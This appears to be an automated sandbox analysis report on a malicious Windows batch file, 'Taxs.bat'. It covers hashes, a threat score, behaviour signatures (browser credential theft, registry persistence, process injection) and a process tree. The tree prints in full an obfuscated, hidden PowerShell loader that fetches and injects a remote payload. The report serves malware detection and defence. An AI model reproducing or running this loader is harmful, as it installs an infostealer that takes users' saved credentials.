33f6bff83a6ce68bf321847b66f432840af51cdec378b2cda41ab1f2f0e0ecb1

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20251229-en
resource tags

arch:x64arch:x86image:win11-20251229-enlocale:en-usos:windows11-21h2-x64system
submitted
29/12/2025, 17:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Taxs.bat
Size 10KB
Sample251229-v57t9atmax
SHA256 33f6bff83a6ce68bf321847b66f432840af51cdec378b2cda41ab1f2f0e0ecb1
MD5 87c23896c99846550cc2484df9fa142b
SHA1 8e181a0a37a3c44a6ef47439832c592de353f991
SHA512 2af6e6121c445302cc283e2afeaeae8d0c6b75acce4d6ab7e532f1050b2a00a69806d02f51f2a5d61df2ae6edcb1b85cddb504bf8f379a8611fe4cef3824f35e
SSDEEP 192:T5UlurTAY/L1vDQGT9DHC+vz5NqQMcCYjwh9QYtZIFA8FQO5rnwzCRXaSR6SNFuK:TuUr0wxvEGJDHhecNch+YtmFA8FV5bcA
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	220	powershell.exe
3	220	powershell.exe
4	1776	powershell.exe
5	1776	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4952	powershell.exe
1968	powershell.exe
3772	powershell.exe
1332	powershell.exe
220	powershell.exe
1776	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4220518935-1083122485-1008052776-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\nbSSedFdSo = "C:\\ProgramData\\smdll.exe.bat"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4220518935-1083122485-1008052776-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\hmfehekamn = "C:\\ProgramData\\smdll.exe.bat"	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 220 set thread context of 4324	220	powershell.exe	91
PID 1776 set thread context of 1732	1776	powershell.exe	97

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
4256	taskkill.exe
3256	taskkill.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
4952	powershell.exe
4952	powershell.exe
220	powershell.exe
220	powershell.exe
220	powershell.exe
220	powershell.exe
1968	powershell.exe
1968	powershell.exe
3772	powershell.exe
3772	powershell.exe
1776	powershell.exe
1776	powershell.exe
1776	powershell.exe
1776	powershell.exe
1332	powershell.exe
1332	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	220	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	3256	taskkill.exe
Token: SeDebugPrivilege	4256	taskkill.exe
Token: SeDebugPrivilege	3772	powershell.exe
Token: SeDebugPrivilege	1776	powershell.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeDebugPrivilege	4324	RegAsm.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4768 wrote to memory of 4952	4768	cmd.exe	78
PID 4952 wrote to memory of 220	4952	powershell.exe	79
PID 220 wrote to memory of 1968	220	powershell.exe	81
PID 220 wrote to memory of 412	220	powershell.exe	83
PID 220 wrote to memory of 3256	220	powershell.exe	84
PID 220 wrote to memory of 4020	220	powershell.exe	88
PID 220 wrote to memory of 4256	220	powershell.exe	89
PID 220 wrote to memory of 4324	220	powershell.exe	91
PID 220 wrote to memory of 4324	220	powershell.exe	91
PID 220 wrote to memory of 4324	220	powershell.exe	91
PID 220 wrote to memory of 4324	220	powershell.exe	91
PID 220 wrote to memory of 4324	220	powershell.exe	91
PID 3772 wrote to memory of 1776	3772	powershell.exe	93
PID 1776 wrote to memory of 1332	1776	powershell.exe	95
PID 1776 wrote to memory of 1732	1776	powershell.exe	97
PID 1776 wrote to memory of 1732	1776	powershell.exe	97
PID 1776 wrote to memory of 1732	1776	powershell.exe	97
PID 1776 wrote to memory of 1732	1776	powershell.exe	97
PID 1776 wrote to memory of 1732	1776	powershell.exe	97

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Taxs.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$jghjghjgjghjghhjg = ''IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0AHAAJwA7AAoAIAAgACAAIAAgACAAIAAgACQAQgB5AHQAZQBzADIAIAA9ACAAJwBzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB4AGsAZAByAHoANAB0AG4ANgBsAC4Ah@QBmAHMALgBzAGgALwBmAC8AQgB5AGUAbgByAGsAeAA3AEQASwBNAHkAUwBHAGcAMwBGAGUARABuADMANgBOADIAZQBtADkAZgBWAGcANwB3AHgAVQBUAHoAQQAxAEIASABqAE0ASQBaADUAWAB0AFkAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAh@gB2AHYAcABtAHMAYwB2AHQAbABoAGMAagBiAHkAYgByAHcAagBnAC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBzAHUAZABvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfACcAIAArACAAJwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAHMAh@ABhAHIAh@ABGAGwAYQBnACkAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAKQAgAHsAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAArAD0AIAAkAHMAh@ABhAHIAh@ABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsACgAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAh@ABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAh@ABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBh@ADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsACgAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAh@AAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAh@AB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AAoAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAh@AAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjACAAPQAgACcAUgBlACcAIAArACAAJwBnAEEAcwBtACcAOwAKACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAh@AB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBsAGYAcwBnAGUAZABkAGQAZABkAGQAZABhACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBh@ACAAKAAnAHQAeAB0AC4AZABhAG8AbABwAHUAZAB4AHUAbABZAC8Ah@AB4AHQALwAzADcAMQAuADIANQAuADYAMQAuADgANwAxAC8ALwA6ACcALAAgACcAMQAnACwAIAAnAHMAbQBkAGwAbAAuAGUAeABlACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA7AAoA'';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $jghjghjgjghjghhjg.replace(''h@'',''d'')));iex $OWjuxD\"'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4952
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$jghjghjgjghjghhjg = 'IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0AHAAJwA7AAoAIAAgACAAIAAgACAAIAAgACQAQgB5AHQAZQBzADIAIAA9ACAAJwBzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB4AGsAZAByAHoANAB0AG4ANgBsAC4Ah@QBmAHMALgBzAGgALwBmAC8AQgB5AGUAbgByAGsAeAA3AEQASwBNAHkAUwBHAGcAMwBGAGUARABuADMANgBOADIAZQBtADkAZgBWAGcANwB3AHgAVQBUAHoAQQAxAEIASABqAE0ASQBaADUAWAB0AFkAJwApACwAIAAoACQAbABmAHMAZABmAHMAZABnACAAKwAgACcAh@gB2AHYAcABtAHMAYwB2AHQAbABoAGMAagBiAHkAYgByAHcAagBnAC4AcwB1AHAAYQBiAGEAcwBlAC4AYwBvAC8AcwB0AG8AcgBhAGcAZQAvAHYAMQAvAG8AYgBqAGUAYwB0AC8AcAB1AGIAbABpAGMALwBzAHUAZABvAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfACcAIAArACAAJwBTAFQAQQBSAFQAPgA+ACcAOwAgACQAZQBuAGQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAHMAh@ABhAHIAh@ABGAGwAYQBnACkAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQASQBuAGQAZQB4ACAALQBnAGUAIAAwACAALQBhAG4AZAAgACQAZQBuAGQASQBuAGQAZQB4ACAALQBnAHQAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAKQAgAHsAIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAArAD0AIAAkAHMAh@ABhAHIAh@ABGAGwAYQBnAC4ATABlAG4AZwB0AGgAOwAgAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAAgAD0AIAAkAGUAbgBkAEkAbgBkAGUAeAAgAC0AIAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAaAApADsACgAgACAAIAAgACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAYwBvAG0AbQBhAG4AZABCAHkAh@ABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7ACAAIAAgACQAZQBuAGQASQBuAGQAZQB4ACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABGAGwAYQBnACkAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAh@ABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBh@ADoAOgBMAG8AYQBkACgAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwApADsACgAgACAAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAh@AAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAh@AB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAHQAZQBzAHQAcABvAHcAZQByAHMAaABlAGwAbAAuAEgAbwBhAGEAYQBhAGEAYQBzAGQAbQBlACcAKQA7AAoAIAAgACAAIAAgACAAIAAgAEcAZQB0AC0AUAByAG8AYwBlAHMAcwAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABDAFAAVQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAh@AAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAA1ACAAfAAgAEYAbwByAG0AYQB0AC0AVABhAGIAbABlACAATgBhAG0AZQAsAEMAUABVAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAZQBjACAAPQAgACcAUgBlACcAIAArACAAJwBnAEEAcwBtACcAOwAKACAAIAAgACAAIAAgACAAIAAkAG0AZQB0AGgAbwBkACAAPQAgACQAh@AB5AHAAZQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBsAGYAcwBnAGUAZABkAGQAZABkAGQAZABhACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIABbAG8AYgBqAGUAYwB0AFsAXQBh@ACAAKAAnAHQAeAB0AC4AZABhAG8AbABwAHUAZAB4AHUAbABZAC8Ah@AB4AHQALwAzADcAMQAuADIANQAuADYAMQAuADgANwAxAC8ALwA6ACcALAAgACcAMQAnACwAIAAnAHMAbQBkAGwAbAAuAGUAeABlACcALAAgACQAaQBuAGoAZQBjACwAIAAnADAAJwAgACwAIAAnAHgAOAA2ACcAKQApAH0AfQA7AAoA';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $jghjghjgjghjghhjg.replace('h@','d')));iex $OWjuxD"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:220
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.bat | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\smdll.exe.bat' -Force }
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1968
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:412
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill" /PID 412 /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3256
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      PID:4020
  - - C:\Windows\SYSTEM32\taskkill.exe
      "taskkill" /PID 4020 /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4256
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$jghjghjgjghjghhjg = ''IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGw